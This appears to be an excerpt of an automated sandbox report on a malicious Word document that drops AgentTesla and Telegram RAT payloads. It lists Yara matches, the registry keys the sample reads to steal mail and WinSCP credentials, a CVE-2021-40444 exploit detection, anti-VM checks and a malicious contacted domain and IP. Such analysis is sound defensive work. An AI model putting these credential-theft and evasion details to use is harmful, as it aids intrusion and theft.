Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 19.2.PMoZbw.exe.3ee9510.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.PMoZbw.exe.3ee9510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000013.00000002.642900479.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.644029749.000000000411D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.581985407.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.544511148.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 5444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: PMoZbw.exe PID: 3300, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 00000011.00000002.629534888.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000011.00000002.622387434.0000000003114000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 19.2.PMoZbw.exe.3ee9510.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.PMoZbw.exe.3ee9510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.PROMZwFp385vXrN.exe.3f6e020.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000013.00000002.642900479.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.644029749.000000000411D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.581985407.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.544511148.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 5444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: PMoZbw.exe PID: 3300, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 00000011.00000002.629534888.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 1788, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 770660 Sample: Payment copy_2911022.docx.doc Startdate: 20/12/2022 Architecture: WINDOWS Score: 100 45 pzsrblog.com 2->45 47 api4.ipify.org 2->47 49 2 other IPs or domains 2->49 59 Detected CVE-2021-40444 exploit 2->59 61 Snort IDS alert for network traffic 2->61 63 Malicious sample detected (through community Yara rule) 2->63 65 14 other signatures 2->65 7 PROMZwFp385vXrN.exe 3 2->7         started        10 WINWORD.EXE 58 68 2->10         started        13 PMoZbw.exe 2->13         started        15 3 other processes 2->15 signatures3 process4 dnsIp5 73 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 7->73 75 May check the online IP address of the machine 7->75 77 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 7->77 79 Injects a PE file into a foreign processes 7->79 18 PROMZwFp385vXrN.exe 17 4 7->18         started        57 pzsrblog.com 118.27.125.229, 443, 49701, 49702 INTERQGMOInternetIncJP Japan 10->57 23 msdt.exe 21 10->23         started        25 MSOSYNC.EXE 5 12 10->25         started        81 Multi AV Scanner detection for dropped file 13->81 83 Machine Learning detection for dropped file 13->83 39 C:\Users\user\AppData\Local\...\zf01cjt2.dll, PE32 15->39 dropped 41 C:\Users\user\AppData\Local\...\yjsbg2wl.dll, PE32 15->41 dropped 43 C:\Users\user\AppData\Local\...\mnm1snwx.dll, PE32 15->43 dropped 27 cvtres.exe 1 15->27         started        29 cvtres.exe 1 15->29         started        31 cvtres.exe 1 15->31         started        file6 signatures7 process8 dnsIp9 51 api4.ipify.org 64.185.227.156, 443, 49724, 49727 WEBNXUS United States 18->51 53 192.168.2.1 unknown unknown 18->53 55 api.ipify.org 18->55 33 C:\Users\user\AppData\Roaming\...\PMoZbw.exe, PE32 18->33 dropped 67 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 18->67 69 Tries to steal Mail credentials (via file / registry access) 18->69 71 Hides that the sample has been downloaded from the Internet (zone.identifier) 18->71 35 C:\Windows\Temp\...\DiagPackage.dll.mui, PE32 23->35 dropped 37 C:\Windows\Temp\...\DiagPackage.dll, PE32+ 23->37 dropped file10 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
64.185.227.156
 api4.ipify.org United States
18450 WEBNXUS false
118.27.125.229
 pzsrblog.com Japan 7506 INTERQGMOInternetIncJP true

Private

IP
192.168.2.1

Contacted Domains

Name IP Active
pzsrblog.com 118.27.125.229 true
api4.ipify.org 64.185.227.156 true
api.telegram.org 149.154.167.220 true
api.ipify.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.ipify.org/ false
    		high